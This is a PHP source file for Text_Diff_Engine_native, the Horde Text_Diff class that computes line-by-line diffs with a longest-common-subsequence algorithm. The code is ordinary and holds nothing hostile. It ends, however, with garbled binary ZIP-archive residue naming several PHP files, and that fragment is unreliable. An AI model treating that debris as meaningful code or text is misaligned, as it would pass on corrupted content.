/**
 * Class used internally by Text_Diff to actually compute the diffs.
 *
 * This class is implemented using native PHP code.
 *
 * The algorithm used here is mostly lifted from the perl module
 * Algorithm::Diff (version 1.06) by Ned Konz, which is available at:
 * https://cpan.metacpan.org/authors/id/N/NE/NEDKONZ/Algorithm-Diff-1.06.zip
 *
 * More ideas are taken from: http://www.ics.uci.edu/~eppstein/161/960229.html
 *
 * Some ideas (and a bit of code) are taken from analyze.c, of GNU
 * diffutils-2.7, which can be found at:
 * ftp://gnudist.gnu.org/pub/gnu/diffutils/diffutils-2.7.tar.gz
 *
 * Some ideas (subdivision by NCHUNKS > 2, and some optimizations) are from
 * Geoffrey T. Dairiki <dairiki@dairiki.org>. The original PHP version of this
 * code was written by him, and is used/adapted with his permission.
 *
 * Copyright 2004-2010 The Horde Project (http://www.horde.org/)
 *
 * See the enclosed file COPYING for license information (LGPL). If you did
 * not receive this file, see https://opensource.org/license/lgpl-2-1/.
 *
 * @author  Geoffrey T. Dairiki <dairiki@dairiki.org>
 * @package Text_Diff
 */
class Text_Diff_Engine_native {

    public $xchanged;
    public $ychanged;
    public $xv;
    public $yv;
    public $xind;
    public $yind;
    public $seq;
    public $in_seq;
    public $lcs;

    function diff($from_lines, $to_lines)
    {
        array_walk($from_lines, array('Text_Diff', 'trimNewlines'));
        array_walk($to_lines, array('Text_Diff', 'trimNewlines'));

        $n_from = count($from_lines);
        $n_to = count($to_lines);

        $this->xchanged = $this->ychanged = array();
        $this->xv = $this->yv = array();
        $this->xind = $this->yind = array();
        unset($this->seq);
        unset($this->in_seq);
        unset($this->lcs);

        // Skip leading common lines.
        for ($skip = 0; $skip < $n_from && $skip < $n_to; $skip++) {
            if ($from_lines[$skip] !== $to_lines[$skip]) {
                break;
            }
            $this->xchanged[$skip] = $this->ychanged[$skip] = false;
        }

        // Skip trailing common lines.
        $xi = $n_from; $yi = $n_to;
        for ($endskip = 0; --$xi > $skip && --$yi > $skip; $endskip++) {
            if ($from_lines[$xi] !== $to_lines[$yi]) {
                break;
            }
            $this->xchanged[$xi] = $this->ychanged[$yi] = false;
        }

        // Ignore lines which do not exist in both files.
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $xhash[$from_lines[$xi]] = 1;
        }
        for ($yi = $skip; $yi < $n_to - $endskip; $yi++) {
            $line = $to_lines[$yi];
            if (($this->ychanged[$yi] = empty($xhash[$line]))) {
                continue;
            }
            $yhash[$line] = 1;
            $this->yv[] = $line;
            $this->yind[] = $yi;
        }
        for ($xi = $skip; $xi < $n_from - $endskip; $xi++) {
            $line = $from_lines[$xi];
            if (($this->xchanged[$xi] = empty($yhash[$line]))) {
                continue;
            }
            $this->xv[] = $line;
            $this->xind[] = $xi;
        }

        // Find the LCS.
        $this->_compareseq(0, count($this->xv), 0, count($this->yv));

        // Merge edits when possible.
        $this->_shiftBoundaries($from_lines, $this->xchanged, $this->ychanged);
        $this->_shiftBoundaries($to_lines, $this->ychanged, $this->xchanged);

        // Compute the edit operations.
        $edits = array();
        $xi = $yi = 0;
        while ($xi < $n_from || $yi < $n_to) {
            assert($yi < $n_to || $this->xchanged[$xi]);
            assert($xi < $n_from || $this->ychanged[$yi]);

            // Skip matching "snake".
            $copy = array();
            while ($xi < $n_from && $yi < $n_to
                   && !$this->xchanged[$xi] && !$this->ychanged[$yi]) {
                $copy[] = $from_lines[$xi++];
                ++$yi;
            }
            if ($copy) {
                $edits[] = new Text_Diff_Op_copy($copy);
            }

            // Find deletes & adds.
            $delete = array();
            while ($xi < $n_from && $this->xchanged[$xi]) {
                $delete[] = $from_lines[$xi++];
            }

            $add = array();
            while ($yi < $n_to && $this->ychanged[$yi]) {
                $add[] = $to_lines[$yi++];
            }

            if ($delete && $add) {
                $edits[] = new Text_Diff_Op_change($delete, $add);
            } elseif ($delete) {
                $edits[] = new Text_Diff_Op_delete($delete);
            } elseif ($add) {
                $edits[] = new Text_Diff_Op_add($add);
            }
        }

        return $edits;
    }

    /**
     * Divides the Largest Common Subsequence (LCS) of the sequences (XOFF,
     * XLIM) and (YOFF, YLIM) into NCHUNKS approximately equally sized
     * segments.
     *
     * Returns (LCS, PTS).  LCS is the length of the LCS. PTS is an array of
     * NCHUNKS+1 (X, Y) indexes giving the diving points between sub
     * sequences.  The first sub-sequence is contained in (X0, X1), (Y0, Y1),
     * the second in (X1, X2), (Y1, Y2) and so on.  Note that (X0, Y0) ==
     * (XOFF, YOFF) and (X[NCHUNKS], Y[NCHUNKS]) == (XLIM, YLIM).
     *
     * This function assumes that the first lines of the specified portions of
     * the two files do not match, and likewise that the last lines do not
     * match.  The caller must trim matching lines from the beginning and end
     * of the portions it is going to specify.
     */
    function _diag ($xoff, $xlim, $yoff, $ylim, $nchunks)
    {
        $flip = false;

        if ($xlim - $xoff > $ylim - $yoff) {
            /* Things seems faster (I'm not sure I understand why) when the
             * shortest sequence is in X. */
            $flip = true;
            list ($xoff, $xlim, $yoff, $ylim)
                = array($yoff, $ylim, $xoff, $xlim);
        }

        if ($flip) {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->xv[$i]][] = $i;
            }
        } else {
            for ($i = $ylim - 1; $i >= $yoff; $i--) {
                $ymatches[$this->yv[$i]][] = $i;
            }
        }

        $this->lcs = 0;
        $this->seq[0]= $yoff - 1;
        $this->in_seq = array();
        $ymids[0] = array();

        $numer = $xlim - $xoff + $nchunks - 1;
        $x = $xoff;
        for ($chunk = 0; $chunk < $nchunks; $chunk++) {
            if ($chunk > 0) {
                for ($i = 0; $i <= $this->lcs; $i++) {
                    $ymids[$i][$chunk - 1] = $this->seq[$i];
                }
            }

            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $chunk) / $nchunks);
            for (; $x < $x1; $x++) {
                $line = $flip ? $this->yv[$x] : $this->xv[$x];
                if (empty($ymatches[$line])) {
                    continue;
                }
                $matches = $ymatches[$line];
                reset($matches);
                while ($y = current($matches)) {
                    if (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                        break;
                    }
                    next($matches);
                }
                while ($y = current($matches)) {
                    if ($y > $this->seq[$k - 1]) {
                        assert($y <= $this->seq[$k]);
                        /* Optimization: this is a common case: next match is
                         * just replacing previous match. */
                        $this->in_seq[$this->seq[$k]] = false;
                        $this->seq[$k] = $y;
                        $this->in_seq[$y] = 1;
                    } elseif (empty($this->in_seq[$y])) {
                        $k = $this->_lcsPos($y);
                        assert($k > 0);
                        $ymids[$k] = $ymids[$k - 1];
                    }
                    next($matches);
                }
            }
        }

        $seps[] = $flip ? array($yoff, $xoff) : array($xoff, $yoff);
        $ymid = $ymids[$this->lcs];
        for ($n = 0; $n < $nchunks - 1; $n++) {
            $x1 = $xoff + (int)(($numer + ($xlim - $xoff) * $n) / $nchunks);
            $y1 = $ymid[$n] + 1;
            $seps[] = $flip ? array($y1, $x1) : array($x1, $y1);
        }
        $seps[] = $flip ? array($ylim, $xlim) : array($xlim, $ylim);

        return array($this->lcs, $seps);
    }

    function _lcsPos($ypos)
    {
        $end = $this->lcs;
        if ($end == 0 || $ypos > $this->seq[$end]) {
            $this->seq[++$this->lcs] = $ypos;
            $this->in_seq[$ypos] = 1;
            return $this->lcs;
        }

        $beg = 1;
        while ($beg < $end) {
            $mid = (int)(($beg + $end) / 2);
            if ($ypos > $this->seq[$mid]) {
                $beg = $mid + 1;
            } else {
                $end = $mid;
            }
        }

        assert($ypos != $this->seq[$end]);

        $this->in_seq[$this->seq[$end]] = false;
        $this->seq[$end] = $ypos;
        $this->in_seq[$ypos] = 1;
        return $end;
    }

    /**
     * Finds LCS of two sequences.
     *
     * The results are recorded in the vectors $this->{x,y}changed[], by
     * storing a 1 in the element for each line that is an insertion or
     * deletion (ie. is not in the LCS).
     *
     * The subsequence of file 0 is (XOFF, XLIM) and likewise for file 1.
     *
     * Note that XLIM, YLIM are exclusive bounds.  All line numbers are
     * origin-0 and discarded lines are not counted.
     */
    function _compareseq ($xoff, $xlim, $yoff, $ylim)
    {
        /* Slide down the bottom initial diagonal. */
        while ($xoff < $xlim && $yoff < $ylim
               && $this->xv[$xoff] == $this->yv[$yoff]) {
            ++$xoff;
            ++$yoff;
        }

        /* Slide up the top initial diagonal. */
        while ($xlim > $xoff && $ylim > $yoff
               && $this->xv[$xlim - 1] == $this->yv[$ylim - 1]) {
            --$xlim;
            --$ylim;
        }

        if ($xoff == $xlim || $yoff == $ylim) {
            $lcs = 0;
        } else {
            /* This is ad hoc but seems to work well.  $nchunks =
             * sqrt(min($xlim - $xoff, $ylim - $yoff) / 2.5); $nchunks =
             * max(2,min(8,(int)$nchunks)); */
            $nchunks = min(7, $xlim - $xoff, $ylim - $yoff) + 1;
            list($lcs, $seps)
                = $this->_diag($xoff, $xlim, $yoff, $ylim, $nchunks);
        }

        if ($lcs == 0) {
            /* X and Y sequences have no common subsequence: mark all
             * changed. */
            while ($yoff < $ylim) {
                $this->ychanged[$this->yind[$yoff++]] = 1;
            }
            while ($xoff < $xlim) {
                $this->xchanged[$this->xind[$xoff++]] = 1;
            }
        } else {
            /* Use the partitions to split this problem into subproblems. */
            reset($seps);
            $pt1 = $seps[0];
            while ($pt2 = next($seps)) {
                $this->_compareseq ($pt1[0], $pt2[0], $pt1[1], $pt2[1]);
                $pt1 = $pt2;
            }
        }
    }

    /**
     * Adjusts inserts/deletes of identical lines to join changes as much as
     * possible.
     *
     * We do something when a run of changed lines include a line at one end
     * and has an excluded, identical line at the other.  We are free to
     * choose which identical line is included.  `compareseq' usually chooses
     * the one at the beginning, but usually it is cleaner to consider the
     * following identical line to be the "change".
     *
     * This is extracted verbatim from analyze.c (GNU diffutils-2.7).
     */
    function _shiftBoundaries($lines, &$changed, $other_changed)
    {
        $i = 0;
        $j = 0;

        assert(count($lines) == count($changed));
        $len = count($lines);
        $other_len = count($other_changed);

        while (1) {
            /* Scan forward to find the beginning of another run of
             * changes. Also keep track of the corresponding point in the
             * other file.
             *
             * Throughout this code, $i and $j are adjusted together so that
             * the first $i elements of $changed and the first $j elements of
             * $other_changed both contain the same number of zeros (unchanged
             * lines).
             *
             * Furthermore, $j is always kept so that $j == $other_len or
             * $other_changed[$j] == false. */
            while ($j < $other_len && $other_changed[$j]) {
                $j++;
            }

            while ($i < $len && ! $changed[$i]) {
                assert($j < $other_len && ! $other_changed[$j]);
                $i++; $j++;
                while ($j < $other_len && $other_changed[$j]) {
                    $j++;
                }
            }

            if ($i == $len) {
                break;
            }

            $start = $i;

            /* Find the end of this run of changes. */
            while (++$i < $len && $changed[$i]) {
                continue;
            }

            do {
                /* Record the length of this run of changes, so that we can
                 * later determine whether the run has grown. */
                $runlength = $i - $start;

                /* Move the changed region back, so long as the previous
                 * unchanged line matches the last changed one.  This merges
                 * with previous changed regions. */
                while ($start > 0 && $lines[$start - 1] == $lines[$i - 1]) {
                    $changed[--$start] = 1;
                    $changed[--$i] = false;
                    while ($start > 0 && $changed[$start - 1]) {
                        $start--;
                    }
                    assert($j > 0);
                    while ($other_changed[--$j]) {
                        continue;
                    }
                    assert($j >= 0 && !$other_changed[$j]);
                }

                /* Set CORRESPONDING to the end of the changed run, at the
                 * last point where it corresponds to a changed run in the
                 * other file. CORRESPONDING == LEN means no such point has
                 * been found. */
                $corresponding = $j < $other_len ? $i : $len;

                /* Move the changed region forward, so long as the first
                 * changed line matches the following unchanged one.  This
                 * merges with following changed regions.  Do this second, so
                 * that if there are no merges, the changed region is moved
                 * forward as far as possible. */
                while ($i < $len && $lines[$start] == $lines[$i]) {
                    $changed[$start++] = false;
                    $changed[$i++] = 1;
                    while ($i < $len && $changed[$i]) {
                        $i++;
                    }

                    assert($j < $other_len && ! $other_changed[$j]);
                    $j++;
                    if ($j < $other_len && $other_changed[$j]) {
                        $corresponding = $i;
                        while ($j < $other_len && $other_changed[$j]) {
                            $j++;
                        }
                    }
                }
            } while ($runlength != $i - $start);

            /* If possible, move the fully-merged run of changes back to a
             * corresponding run in the other file. */
            while ($corresponding < $i) {
                $changed[--$start] = 1;
                $changed[--$i] = 0;
                assert($j > 0);
                while ($other_changed[--$j]) {
                    continue;
                }
                assert($j >= 0 && !$other_changed[$j]);
            }
        }
    }

}
PK         ! @[    	                xdiff.phpnu [        PK         ! S  S  	              shell.phpnu [        PK         ! Eћ      
            `  string.phpnu [        PK         ! '5>  >  
            5>  native.phpnu [        PK      &   }                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        